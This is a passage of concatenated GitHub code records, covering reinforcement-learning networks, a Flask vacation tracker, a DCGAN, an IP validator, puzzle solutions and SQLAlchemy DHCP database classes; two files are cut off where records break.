self.learning_rate = learning_rate\n with tf.variable_scope(name):\n self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name='inputs_')\n self.actions_ = tf.placeholder(tf.float32, [None, 3], name=\"actions_\")\n self.target_Q = tf.placeholder(tf.float32, [None], name='target')\n\n self.conv1 = tf.layers.conv2d(inputs=self.inputs_,\n filters=32,\n kernel_size=[8, 8],\n strides=[4, 4],\n padding='VALID',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv1')\n self.conv1_batchnorm = tf.layers.batch_normalization(self.conv1, training=True, epsilon=1e-5,\n name='batch_norm1')\n self.conv1_out = tf.nn.elu(self.conv1_batchnorm, name='conv1_out')\n # --> [20,20,32]\n self.conv2 = tf.layers.conv2d(inputs=self.conv1_out,\n filters=64,\n kernel_size=[4, 4],\n strides=[2, 2],\n padding='valid',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv2')\n self.conv2_batchnorm = tf.layers.batch_normalization(self.conv2, training=True, epsilon=1e-5,\n name='batch_norm2')\n self.conv2_out = tf.nn.elu(self.conv2_batchnorm, name='conv2_out')\n # --> [9,9,64]\n\n self.conv3 = tf.layers.conv2d(inputs=self.conv2_out,\n filters=128,\n kernel_size=[4, 4],\n strides=[2, 2],\n padding='valid',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv3')\n self.conv3_batchnorm = tf.layers.batch_normalization(self.conv3, training=True, epsilon=1e-5,\n name='batch_norm3')\n self.conv3_out = tf.nn.elu(self.conv3_batchnorm, name='conv3_out')\n # --> [3,3,128]\n\n self.flatten = tf.layers.flatten(self.conv3_out)\n # --> [1152]\n\n self.fc = tf.layers.dense(inputs=self.flatten, units=512, activation=tf.nn.elu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(), name='fc1')\n self.output = tf.layers.dense(inputs=self.fc, kernel_initializer=tf.contrib.layers.xavier_initializer(),\n units=3, activation=None)\n\n self.Q = tf.reduce_sum(tf.multiply(self.output, self.actions_), axis=1)\n self.loss = tf.reduce_mean(tf.square(self.target_Q - self.Q))\n self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss)\n\n\nclass Memory:\n def __init__(self, max_size):\n self.buffer = deque(maxlen=max_size)\n\n def add(self, experience):\n self.buffer.append(experience)\n\n def sample(self, batch_size):\n buffer_size = len(self.buffer)\n index = np.random.choice(np.arange(buffer_size), size=batch_size, replace=False)\n return [self.buffer[i] for i in index]\n\n\nclass DDDQNNetwork:\n def __init__(self, state_size, action_size, learning_rate, name='DDDQNNet'):\n self.state_size = state_size\n self.action_size = action_size\n self.learning_rate = learning_rate\n self.name = name\n\n with tf.name_scope(self.name):\n self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name=\"inputs\")\n self.ISWeights_ = tf.placeholder(tf.float32, [None, 1], name=\"IS_weights\")\n self.actions_ = tf.placeholder(tf.float32, [None, action_size], name=\"actions_\")\n self.target_Q = tf.placeholder(tf.float32, [None], name=\"target\")\n\n self.conv1 = tf.layers.conv2d(inputs=self.inputs_, filters=32, kernel_size=[8, 8], strides=[4, 4],\n padding='valid',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv1')\n self.conv1_out = tf.nn.elu(self.conv1, name=\"conv1_out\")\n\n self.conv2 = tf.layers.conv2d(inputs=self.conv1_out, filters=64, kernel_size=[4, 4], strides=[2, 2],\n padding='valid',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv2')\n self.conv2_out = tf.nn.elu(self.conv2, name=\"conv2_out\")\n\n self.conv3 = tf.layers.conv2d(inputs=self.conv2_out, filters=32, kernel_size=[8, 8], strides=[4, 4],\n padding='valid',\n kernel_initializer=tf.contrib.layers.xavier_initializer_conv2d(),\n name='conv3')\n self.conv3_out = tf.nn.elu(self.conv3, name=\"conv3_out\")\n\n self.flatten = tf.layers.flatten(self.conv3_out)\n\n self.value_fc = tf.layers.dense(inputs=self.flatten, units=512, activation=tf.nn.elu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(), name='value_fc')\n\n self.value = tf.layers.dense(inputs=self.value_fc, units=1, activation=None,\n kernel_initializer=tf.contrib.layers.xavier_initializer(), name=\"value\")\n self.advantage_fc = tf.layers.dense(inputs=self.flatten, units=512, activation=tf.nn.elu,\n kernel_initializer=tf.contrib.layers.xavier_initializer(),\n name='advantage_fc')\n self.advantage = tf.layers.dense(inputs=self.advantage_fc, units=self.action_size, activation=None,\n kernel_initializer=tf.contrib.layers.xavier_initializer(),\n name='advantages')\n self.output = self.value + tf.subtract(self.advantage,\n tf.reduce_mean(self.advantage, axis=1, keepdims=True))\n self.Q = tf.reduce_sum(tf.multiply(self.output, self.actions_), axis=1)\n self.absolute_errors = tf.abs(self.target_Q - self.Q)\n self.loss = tf.reduce_mean(self.ISWeights_ * tf.squared_difference(self.target_Q, self.Q))\n self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss)\n\n\nclass SumTree(object):\n data_pointer = 0\n\n def __init__(self, capacity):\n self.capacity = capacity\n self.tree = np.zeros(2 * capacity - 1)\n self.data = np.zeros(capacity, dtype=object)\n\n def add(self, priority, data):\n tree_index = self.data_pointer + self.capacity - 1\n self.data[self.data_pointer] = data\n self.update(tree_index, priority)\n self.data_pointer += 1\n if self.data_pointer >= self.capacity:\n self.data_pointer = 0\n\n def update(self, tree_index, priority):\n change = priority - self.tree[tree_index]\n self.tree[tree_index] = priority\n while tree_index != 0:\n tree_index = (tree_index - 1) // 2\n self.tree[tree_index] += change\n\n def get_leaf(self, v):\n parent_index = 0\n while True:\n left_child_index = 2 * parent_index + 1\n right_child_index = left_child_index + 1\n if left_child_index >= len(self.tree):\n leaf_index = parent_index\n break\n else:\n if v <= self.tree[left_child_index]:\n parent_index = left_child_index\n else:\n v -= self.tree[left_child_index]\n parent_index = right_child_index\n data_index = leaf_index - self.capacity + 1\n return leaf_index, self.tree[leaf_index], self.data[data_index]\n\n def total_priority(self):\n return self.tree[0]\n\n\nclass Memory2(object):\n PER_e = 0.01\n PER_a = 0.6\n PER_b = 0.4\n PER_b_increment_per_sampling = 0.001\n absolute_error_upper = 1.\n\n def __init__(self, capacity):\n self.tree = SumTree(capacity)\n\n def store(self, experience):\n max_priority = np.max(self.tree.tree[-self.tree.capacity:])\n if max_priority == 0:\n max_priority = self.absolute_error_upper\n self.tree.add(max_priority, experience)\n\n def sample(self, n):\n memory_b = []\n b_idx, b_ISWeights = np.empty((n,), dtype=np.int32), np.empty((n, 1), dtype=np.float32)\n priority_segment = self.tree.total_priority() / n\n self.PER_b = np.min([1., self.PER_b + self.PER_b_increment_per_sampling])\n p_min = np.min(self.tree.tree[-self.tree.capacity:]) / self.tree.total_priority()\n max_weight = (p_min * n) ** (-self.PER_b)\n\n for i in range(n):\n a, b = priority_segment * i, priority_segment * (i + 1)\n value = np.random.uniform(a, b)\n index, priority, data = self.tree.get_leaf(value)\n sampling_probabilities = priority / self.tree.total_priority()\n b_ISWeights[i, 0] = np.power(n * sampling_probabilities, -self.PER_b) / max_weight\n b_idx[i] = index\n experience = [data]\n memory_b.append(experience)\n\n return b_idx, memory_b, b_ISWeights\n\n def batch_update(self, tree_idx, abs_errors):\n abs_errors += self.PER_e\n clipped_errors = np.minimum(abs_errors, self.absolute_error_upper)\n ps = np.power(clipped_errors, self.PER_a)\n\n for ti, p in zip(tree_idx, ps):\n self.tree.update(ti, p)\n","repo_name":"konvish/yolo","sub_path":"dl/PGNetwork.py","file_name":"PGNetwork.py","file_ext":"py","file_size_in_byte":15052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27502687244","text":"from flask import Blueprint, render_template, request, flash, redirect, url_for\nfrom .models import Vacation\nfrom timetracker.users.models import User\nfrom timetracker import db\nfrom flask_login import login_required, current_user\nfrom .forms import VacationLengthForm, VacationDayForm\nfrom math import ceil\nfrom datetime import date, datetime, timedelta\n\n\nvacation = Blueprint(\"vacation\", __name__)\n\n\n@vacation.route(\"/calculation\", methods=[\"GET\", \"POST\"])\n@login_required\ndef vacation_calculation_view():\n form = VacationLengthForm()\n school_years = {\n \"Basic vocational school\": 3,\n \"High vocational school\": 5,\n \"High school\": 4,\n \"Post-high school\": 6,\n \"Bachelor/Masters degree\": 8,\n }\n job_position = {\n \"Full-time\": 1,\n \"Half-time\": 0.5,\n \"1/3 time\": (1 / 3),\n \"2/3 time\": (2 / 3),\n \"1/4 time\": 0.25,\n \"3/4 time\": 0.75,\n }\n worker = User.query.filter_by(id=current_user.id).first()\n days = Vacation.query.filter_by(user_id=current_user.id)\n used_days = days.count()\n worker.rem_vacation_days = worker.total_vacation_days - used_days\n if request.method == \"POST\":\n if not form.seniority.data:\n flash(\"Seniority must be complete!\", category=\"error\")\n else:\n seniority = form.seniority.data\n school = form.school.data\n position = form.position.data\n vacation_days = int(seniority) + school_years[school]\n if form.disability.data:\n if vacation_days > 10:\n total_vacation_days = ceil(36 * job_position[position])\n else:\n total_vacation_days = ceil(30 * job_position[position])\n else:\n if vacation_days > 10:\n total_vacation_days = ceil(26 * job_position[position])\n else:\n total_vacation_days = ceil(20 * job_position[position])\n worker.total_vacation_days = total_vacation_days\n db.session.commit()\n return redirect(url_for(\"vacation.vacation_calculation_view\"))\n return render_template(\n \"vacation_calculation.html\",\n user=current_user,\n form=form,\n total_vacation_days=worker.total_vacation_days,\n remaining_vacation_days=worker.rem_vacation_days,\n )\n\n\n@vacation.route(\"/create\", methods=[\"GET\", \"POST\"])\n@login_required\ndef create_vacation_view():\n form = VacationDayForm()\n worker = User.query.filter_by(id=current_user.id).first()\n days = Vacation.query.filter_by(user_id=current_user.id)\n used_days = days.count()\n worker.rem_vacation_days = worker.total_vacation_days - used_days\n if request.method == \"POST\":\n if request.form.get(\"vacation_start_date\") and request.form.get(\n \"vacation_end_date\"\n ):\n end_date = datetime.strptime(\n request.form.get(\"vacation_end_date\"), \"%Y-%m-%d\"\n ).date()\n vacation_date = datetime.strptime(\n request.form.get(\"vacation_start_date\"), \"%Y-%m-%d\"\n ).date() - timedelta(days=1)\n vacation_length = (end_date - vacation_date).days\n if vacation_length < 0:\n flash(f\"Incorrect vacation dates!\", category=\"error\")\n return redirect(url_for(\"vacation.create_vacation_view\"))\n for day in range(vacation_length):\n vacation_date += timedelta(days=1)\n if Vacation.query.filter_by(\n user_id=current_user.id, vacation_date=vacation_date\n ).first():\n flash(\n f\"Vacation day with date {vacation_date} already exist!\",\n category=\"error\",\n )\n return redirect(url_for(\"vacation.create_vacation_view\"))\n elif worker.rem_vacation_days < vacation_length:\n flash(\n f\"You do not have enough vacation days in this year.\",\n category=\"error\",\n )\n return redirect(url_for(\"vacation.create_vacation_view\"))\n new_vacation_day = Vacation(\n vacation_date=vacation_date, user_id=current_user.id\n )\n db.session.add(new_vacation_day)\n else:\n if Vacation.query.filter_by(\n user_id=current_user.id, vacation_date=date.today()\n ).first():\n flash(\n f\"Vacation day with date {date.today()} already exist!\",\n category=\"error\",\n )\n return redirect(url_for(\"vacation.create_vacation_view\"))\n else:\n new_vacation_day = Vacation(user_id=current_user.id)\n db.session.add(new_vacation_day)\n db.session.commit()\n flash(\"Vacation day have been added!\", category=\"success\")\n return redirect(url_for(\"vacation.list_vacation_view\"))\n return render_template(\"vacation_create.html\", user=current_user, form=form)\n\n\n@vacation.route(\"/\", methods=[\"GET\"])\n@login_required\ndef list_vacation_view():\n days = Vacation.query.filter_by(user_id=current_user.id)\n return render_template(\"vacation_list.html\", days=days, user=current_user)\n\n\n@vacation.route(\"//update\", methods=[\"GET\", \"POST\"])\n@login_required\ndef update_vacation_view(vacation_day_id):\n vacation = Vacation.query.get_or_404(vacation_day_id)\n form = VacationDayForm()\n if request.method == \"POST\":\n if Vacation.query.filter_by(\n user_id=current_user.id, vacation_date=request.form.get(\"vacation_end_date\")\n ).first():\n flash(\n f'Vacation day with date {request.form.get(\"vacation_end_date\")} already exist!',\n category=\"error\",\n )\n return redirect(\n url_for(\n \"vacation.update_vacation_view\", vacation_day_id=vacation_day_id\n )\n )\n else:\n vacation.vacation_date = request.form.get(\"vacation_end_date\")\n db.session.commit()\n flash(\"Vacation day have been updated!\", category=\"success\")\n return redirect(\n url_for(\n \"vacation.update_vacation_view\", vacation_day_id=vacation_day_id\n )\n )\n elif request.method == \"GET\":\n form.vacation_end_date.data = datetime.strptime(\n vacation.vacation_date, \"%Y-%m-%d\"\n ).date()\n return render_template(\n \"vacation_update.html\",\n user=current_user,\n form=form,\n date=datetime.strptime(vacation.vacation_date, \"%Y-%m-%d\").date(),\n )\n\n\n@vacation.route(\"//delete\", methods=[\"GET\", \"POST\"])\n@login_required\ndef delete_vacation_view(vacation_day_id):\n vacation_day = Vacation.query.get_or_404(vacation_day_id)\n if request.method == \"POST\":\n db.session.delete(vacation_day)\n db.session.commit()\n flash(\"Vacation day deleted!\", category=\"success\")\n return redirect(url_for(\"vacation.list_vacation_view\"))\n return render_template(\n \"vacation_delete.html\", user=current_user, vacation_day=vacation_day\n )\n","repo_name":"Gamattowicz/Timetracker_Flask","sub_path":"timetracker/vacation/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23025254881","text":"from Generator import *\nfrom Discriminator import *\nimport tensorflow as tf\nimport numpy as np\nfrom Tools import inception_model\nimport os\nimport matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\n\n\nclass DCGAN():\n def __init__(self, input_shape, depth_layers_discriminator=[64, 128, 256, 512], depth_layers_generator=[1024, 512, 256, 128],\n dim_noise=100, model=\"simple\", data=\"MNIST\", flip_discri_labels=False, final_generator_activation=\"tanh\", test_name='_1'):\n \"\"\"DCGAN model (for each parameter, the default value is the value used in the DCGAN paper)\n :param input_shape: format [height, width, depth]\n :param depth_layers_discriminator: the depth of the different layers used by the discriminator, only for the\n dcgan models\n :param depth_layers_generator: the depth of the different layers used by the generator, only for the\n dcgan models\n :param dim_noise: size of the input noise used by the generator\n :param model: type of model to use (simple, intermediate, dcgan_custom, dcgan_vanilla)\n :param data: dataset used\n :param flip_discri_labels: flip labels in the computation of the discrimination loss (10% flip)\n :param final_generator_activation: activation function for the output layer of the generator\n :param test_name: to give a name to the current execution\"\"\"\n #Saving param\n self.test_name = test_name\n # Global model\n self.model = model\n self.data = data\n # Dimension of data\n self.output_height = input_shape[0]\n self.output_width = input_shape[1]\n self.output_depth = input_shape[2]\n self.dim_noise = dim_noise\n # Useful variables\n self.real_images_probabilities = 0\n self.fake_images_probabilities = 0\n # Build input variables\n #self.X_batch = tf.placeholder(dtype=tf.float32, shape=[None, self.output_depth*self.output_height*self.output_width], name='X')\n self.X_batch = tf.placeholder(dtype=tf.float32, shape=[None, self.output_height, self.output_width, self.output_depth], name='real_images')\n self.noise_batch = tf.placeholder(dtype=tf.float32, shape=[None, self.dim_noise], name='noise')\n # Build both components\n self.final_generator_activation = final_generator_activation\n self.discriminator = Discriminator(input_shape, depth_layers_discriminator, model=model)\n self.generator = Generator(input_shape, depth_layers=depth_layers_generator, model=model, data=data, final_activation=final_generator_activation)\n # Construct the graph\n self.build_graph(flip_discri_labels=flip_discri_labels)\n\n def get_noise(self, batch_size, min_distri=-1, max_distri=1, distribution=\"uniform\"):\n \"\"\":return ndarray noise [-1, dim_noise] given the distribution\"\"\"\n if distribution==\"uniform\":\n return np.random.uniform(min_distri, max_distri, [batch_size, self.dim_noise]).astype('float32')\n elif distribution==\"gaussian\":\n return np.random.normal(size=(batch_size, self.dim_noise))\n\n def set_losses(self, real_images_logits, fake_images_logits, flip_discri_labels=False):\n \"\"\"Set the losses for both networks.\"\"\"\n if self.model==\"dcgan_custom\":\n self.discriminator.set_loss(real_images_logits, fake_images_logits, flip_labels=flip_discri_labels)\n self.generator.set_loss(fake_images_logits)\n else: # To compute the implicit graph for the batch normalization\n with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)):\n self.discriminator.set_loss(real_images_logits, fake_images_logits, flip_labels=flip_discri_labels)\n self.generator.set_loss(fake_images_logits)\n\n def build_graph(self, flip_discri_labels=False):\n \"\"\"Build the graph of the DCGAN\"\"\"\n # Variables\n fake_images = self.generator.generate_images(self.noise_batch, reuse=None, is_training=True)\n self.fake_images_probabilities, fake_images_logits = self.discriminator.compute_probability(fake_images, reuse=False)\n self.real_images_probabilities, real_images_logits = self.discriminator.compute_probability(self.X_batch, reuse=True)\n # Loss\n self.set_losses(real_images_logits, fake_images_logits, flip_discri_labels=flip_discri_labels)\n self.generator.set_solver()\n self.discriminator.set_solver()\n # Summaries (to plot in tensorboard)\n tf.summary.scalar(\"Loss Generator\", self.generator.loss)\n tf.summary.scalar(\"Loss Discriminator\", self.discriminator.loss)\n tf.summary.scalar(\"Probability real images\", self.real_images_probabilities)\n tf.summary.scalar(\"Probability fake images\", self.fake_images_probabilities)\n\n def optimize(self, sess, X_batch_values, size_noise, j, previous_D_loss, previous_G_loss, was_D_trained, was_G_trained, strategy=\"k_steps\", k=1, gap=10, noise_type=\"uniform\"):\n \"\"\"Optimization strategy to update the networks:\n -k_steps: Improve the generator every k steps (choose with parameter k)\n -min_gap: Make sure the gap between the 2 losses is limited (controlled with parameter gap)\n -probabilities: Make sure one of the networks doesn't dominate the other\"\"\"\n D_curr_loss = previous_D_loss\n G_curr_loss = previous_G_loss\n train_D = True # Used only for strategy=\"probabilities\"\n train_G = True\n\n # Compute loss and optimize\n if strategy==\"k_steps\":\n noise_batch_values = self.get_noise(size_noise, distribution=noise_type)\n _, D_curr_loss = sess.run([self.discriminator.solver, self.discriminator.loss],\n feed_dict={self.X_batch: X_batch_values, self.noise_batch: noise_batch_values})\n for _ in range(k): # Improving G every k steps\n noise_batch_values = self.get_noise(size_noise, distribution=noise_type)\n _, G_curr_loss = sess.run([self.generator.solver, self.generator.loss],\n feed_dict={self.noise_batch: noise_batch_values, self.X_batch: X_batch_values})\n elif strategy==\"min_gap\":\n if gap*previous_D_loss < previous_G_loss:\n noise_batch_values = self.get_noise(size_noise, distribution=noise_type)\n _, G_curr_loss = sess.run([self.generator.solver, self.generator.loss],\n feed_dict={self.noise_batch: noise_batch_values})\n elif gap*previous_G_loss < previous_D_loss:\n noise_batch_values = self.get_noise(size_noise, distribution=noise_type)\n _, D_curr_loss = sess.run([self.discriminator.solver, self.discriminator.loss],\n feed_dict={self.X_batch: X_batch_values, self.noise_batch: noise_batch_values})\n else:\n noise_batch_values = self.get_noise(size_noise, distribution=noise_type)\n _, D_curr_loss = sess.run([self.discriminator.solver, self.discriminator.loss],\n feed_dict={self.X_batch: X_batch_values, self.noise_batch: noise_batch_values})\n noise_batch_values = self.get_noise(size_noise, distribution=noise_type)\n _, G_curr_loss = sess.run([self.generator.solver, self.generator.loss], feed_dict={self.noise_batch: noise_batch_values})\n\n elif strategy==\"probabilities\":\n # Here loss is probability\n if 0.5 255:\r\n return False\r\n \r\n return True\r\n\r\n\r\nif os.path.exists(\"1ista.txt\"):\r\n ips = open(\"1ista.txt\", \"r\")\r\n listaips = ips.read().split(\"\\n\")\r\n \r\n ipsvalidos = []\r\n ipsinvalidos = []\r\n \r\n for ip in listaips:\r\n if validador(ip) == True:\r\n ipsvalidos.append(ip)\r\n else:\r\n ipsinvalidos.append(ip)\r\n \r\n if len(ipsvalidos) > 0 or len(ipsinvalidos) > 0:\r\n arquivo_relatorio = open(\"resposta.txt\", \"wt\")\r\n \r\n if len(ipsvalidos) > 0:\r\n arquivo_relatorio.write(\"[Endereços válidos:]\\n\")\r\n for valido in ipsvalidos:\r\n arquivo_relatorio.write(valido+\"\\n\")\r\n \r\n if len(ipsinvalidos) > 0:\r\n arquivo_relatorio.write(\"\\n[Endereços inválidos:]\\n\")\r\n for invalido in ipsinvalidos:\r\n arquivo_relatorio.write(invalido+\"\\n\")\r\n \r\n arquivo_relatorio.close()\r\nelse:\r\n print(\"O arquivo 1ista.txt não pôde ser encontrado\")\r\n\r\n\r\nif os.path.exists(\"resposta.txt\"):\r\n arq = open('resposta.txt')\r\n relatorio = arq.read() \r\n print((relatorio))\r\n","repo_name":"JustMeIsaac/Aprendendo-Python","sub_path":"Validador de IPs/Validador.py","file_name":"Validador.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"15920607270","text":"from enum import Enum\n\nclass Motion(Enum):\n R = [0, 1]\n L = [0, -1]\n U = [1, 0]\n D = [-1, 0]\n\ndef moveRight(knot):\n knot[1] += 1\n return knot\n\ndef moveLeft(knot):\n knot[1] += -1\n return knot\n\ndef moveUp(knot):\n knot[0] += 1\n return knot\n\ndef moveDown(knot):\n knot[0] += -1\n return knot\n\ndef isTouching(head, tail):\n if abs(head[0] - tail[0]) == 1 and abs(head[1] - tail[1]) == 1:\n return True\n\ndef moveKnot(head, tail):\n if head[0] == tail[0] and head[1] == tail[1]:\n return tail\n if head[0] == tail[0] and head[1] - tail[1] > 1:\n tail = moveRight(tail)\n return tail\n if head[0] == tail[0] and head[1] - tail[1] < -1:\n tail = moveLeft(tail)\n return tail\n if head[1] == tail[1] and head[0] - tail[0] > 1:\n tail = moveUp(tail)\n return tail\n if head[1] == tail[1] and head[0] - tail[0] < -1:\n tail = moveDown(tail)\n return tail\n if (head[0] - tail[0] > 0 and head[1] - tail[1] > 0) and not isTouching(head, tail):\n tail = moveUp(tail)\n tail = moveRight(tail)\n return tail\n if (head[0] - tail[0] > 0 and head[1] - tail[1] < 0) and not isTouching(head, tail):\n tail = moveUp(tail)\n tail = moveLeft(tail)\n return tail\n if (head[0] - tail[0] < 0 and head[1] - tail[1] > 0) and not isTouching(head, tail):\n tail = moveDown(tail)\n tail = moveRight(tail)\n return tail\n if (head[0] - tail[0] < 0 and head[1] - tail[1] < 0) and not isTouching(head, tail):\n tail = moveDown(tail)\n tail = moveLeft(tail)\n return tail\n \n return tail\n\nwith open(\"Day 9/motions.txt\") as motions:\n knotIndexes = [[0,0] for i in range(10) ]\n tailIndexDict = {str(knotIndexes[9]) : 1}\n for line in motions:\n motion = line.split()\n for i in range(int(motion[1])):\n knotIndexes[0][0] += Motion[motion[0]].value[0]\n knotIndexes[0][1] += Motion[motion[0]].value[1]\n for i in range(1,10):\n knotIndexes[i] = moveKnot(knotIndexes[i - 1], knotIndexes[i])\n if str(knotIndexes[9]) in tailIndexDict:\n tailIndexDict[str(knotIndexes[9])] += 1\n else:\n tailIndexDict[str(knotIndexes[9])] = 1\n print(knotIndexes[9])\n\n print(len(tailIndexDict))","repo_name":"coltrane05/AdventOfCode2022","sub_path":"Day 9/Day9Solution2.py","file_name":"Day9Solution2.py","file_ext":"py","file_size_in_byte":2353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17544788827","text":"# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n # Đề bài yêu cầu xóa phần tử trùng trong ListNode với value đã được sorted\n def deleteDuplicates(self, head: Optional[ListNode]) -> Optional[ListNode]:\n # Tạo 1 biến curr copy ref của head\n curr = head\n\n # Trong khi curr != None thì check điều kiện\n while curr:\n # Trong khi curr.next != None và curr.next.val mà == val hiện tại\n # Thì gán next = next.next để skip Node có giá trị trùng\n while curr.next and curr.next.val == curr.val:\n curr.next = curr.next.next\n curr = curr.next\n return head\n\n # Time Complexity: O(N)\n # Space Complexity: O(1)\n","repo_name":"thehaung/DSnA","sub_path":"Python/linked_list/remove-duplicates-from-sorted-list.py","file_name":"remove-duplicates-from-sorted-list.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32648544335","text":"import flask\nfrom flask import request\nfrom main import main as predictor\n\napp = flask.Flask(__name__)\napp.config[\"DEBUG\"] = True\n\n\n@app.route('/', methods=['GET'])\ndef home():\n return \"

EEE 506 Project: REST API

This site is a prototype API for a machine learning powered power diagnostic tool.

\"\n\n@app.route('/predict', methods=['POST'])\ndef predict():\n data = request.json\n return str(predictor(data))\n\nif __name__ == '__main__':\n # Threaded option to enable multiple instances for multiple user access support\n app.run(threaded=True, port=5000)","repo_name":"tobeyOguney/EEE506_Project","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3376741681","text":"from sqlalchemy import exc\nimport uuid\n\nfrom susan.common import exceptions\nfrom susan.db import dhcp as dhcp_db\nfrom susan.db.rdbms.models import dhcp as d_model\nfrom susan.db.rdbms import datapath\nfrom susan.db.rdbms import port\nfrom susan.db import rdbms\n\n\nclass Subnet(dhcp_db.DHCPdb):\n def __init__(self, *args, **kwargs):\n super(Subnet, self).__init__(*args, **kwargs)\n\n @staticmethod\n def create_subnet(session, network, cidr, gateway=None,\n server=None, next_server=None):\n\n id_ = str(uuid.uuid1())\n row = d_model.Subnet(id=id_, network=network,\n cidr=cidr, gateway=gateway, server=server,\n next_server=next_server)\n # TODO(thenakliman) it is never going to raise integrity excepion\n # due to conflicting is because id is being generated unique each time\n # this method is called.\n session.add(row)\n\n def update_subnet(self, id_, network=None,\n cidr=None, gateway=None, server=None):\n pass\n\n @staticmethod\n def delete_subnet(session, id_):\n session.query(d_model.Subnet).filter_by(id=id_).delete()\n\n @staticmethod\n def get_subnet(session, id_):\n return session.query(d_model.Subnet).filter_by(id=id_).one_or_none()\n\n\nclass Range(dhcp_db.DHCPdb):\n def __init__(self, *args, **kwargs):\n super(Range, self).__init__(*args, **kwargs)\n\n @staticmethod\n def create_range(session, subnet_id, start_ip, end_ip):\n session = rdbms.get_session()\n row = d_model.IPRange(subnet_id=subnet_id, start_ip=start_ip,\n end_ip=end_ip)\n session.add(row)\n\n def update_range(self, subnet_id, start_ip=None, end_ip=None):\n pass\n\n @staticmethod\n def delete_range(session, subnet_id, start_ip, end_ip):\n session.query(d_model.IPRange).filter_by(subnet_id=subnet_id,\n start_ip=start_ip,\n end_ip=end_ip).delete()\n\n @staticmethod\n def get_range(session, subnet_id):\n return session.query(d_model.IPRange).filter_by(\n subnet_id=subnet_id).all()\n\n\nclass ReservedIP(dhcp_db.DHCPdb):\n def __init__(self, *args, **Kwargs):\n super(ReservedIP, self).__init__()\n\n @staticmethod\n def delete_reserved_ip(session, mac, subnet_id):\n session.query(d_model.ReservedIP).filter_by(\n mac=mac,\n subnet_id=subnet_id).delete()\n\n @staticmethod\n def add_reserved_ip(session, ip, mac, subnet_id, is_reserved=True,\n lease_time=None, renew_time=None, expiry_time=None):\n row = d_model.ReservedIP(ip=ip, mac=mac, subnet_id=subnet_id,\n is_reserved=is_reserved,\n lease_time=lease_time,\n expiry_time=expiry_time)\n\n session.add(row)\n\n def update_reserved_ip(self, mac, subnet_id, ip=None,\n is_reserved=True, lease_time=None,\n renew_time=None, expiry_time=None):\n pass\n\n @staticmethod\n def get_reserved_ip(session, mac, subnet_id):\n return session.query(d_model.ReservedIP).filter_by(\n mac=mac, subnet_id=subnet_id).one_or_none()\n\n @staticmethod\n def get_reserved_ip_of_subnet(session, subnet_id):\n return session.query(d_model.ReservedIP).filter_by(\n subnet_id=subnet_id).all()\n\n\nclass Parameter(dhcp_db.DHCPdb):\n def __init__(self, *args, **kwargs):\n super(Parameter, self).__init__(*args, **kwargs)\n\n @staticmethod\n def add_parameter(session, subnet_id, mac=None, data=None):\n row = d_model.Parameter(subnet_id=subnet_id, mac=mac, data=data)\n session.add(row)\n\n @staticmethod\n def delete_parameter(session, subnet_id, mac):\n session.query(d_model.Parameter).filter_by(subnet_id=subnet_id,\n mac=mac).delete()\n\n def update_parameter(self, subnet_id, mac=None, data=None):\n pass\n\n @staticmethod\n def get_parameters(session, subnet_id, mac=None):\n return session.query(d_model.Parameter).filter_by(\n subnet_id=subnet_id, mac=mac).one_or_none()\n\n\nclass DHCPDB(Subnet, Range, ReservedIP, Parameter,\n datapath.Datapath, port.Port):\n\n def __init__(self, *args, **kwargs):\n super(DHCPDB, self).__init__(*args, **kwargs)\n\n def release_ip(self, ip, subnet_id, mac):\n session = rdbms.get_session()\n self.delete_reserved_ip(session, subnet_id, mac)\n session.commit()\n\n def commit_ip(self, subnet_id, mac, ip):\n session = rdbms.get_session()\n with session.begin():\n row = self.get_reserved_ip(session=session, mac=mac,\n subnet_id=subnet_id)\n if row is None:\n self.add_reserved_ip(session, subnet_id=subnet_id,\n ip=ip, mac=mac)\n elif row.ip != ip:\n raise exceptions.AlreadyAssignedDiffIPException(\n subnet_id=subnet_id, mac=mac, ip=ip)\n elif row.lease_time is not None:\n raise exceptions.AlreadyAssignedIPException(\n subnet_id=subnet_id, mac=mac, ip=ip)\n\n def reserve_ip(self, ip, subnet_id, mac):\n session = rdbms.get_session()\n with session.begin():\n row = self.get_reserved_ip(session=session, mac=mac,\n subnet_id=subnet_id)\n if row is None:\n self.add_reserved_ip(session=session, ip=ip,\n subnet_id=subnet_id, mac=mac)\n elif row.ip != ip:\n raise exceptions.AlreadyAssignedDiffIPException(\n subnet_id=subnet_id, mac=mac, ip=ip)\n\n def get_dhcp_server_ip(self, session, subnet_id):\n row = self.get_subnet(session, subnet_id)\n try:\n return row.server\n except AttributeError:\n raise exceptions.SubnetNotFoundExceptions(subnet_id=subnet_id)\n\n # TODO(thenakliman): Don't fire the command directly, call subper class\n def get_mac(self, session, subnet_id, ip):\n row = 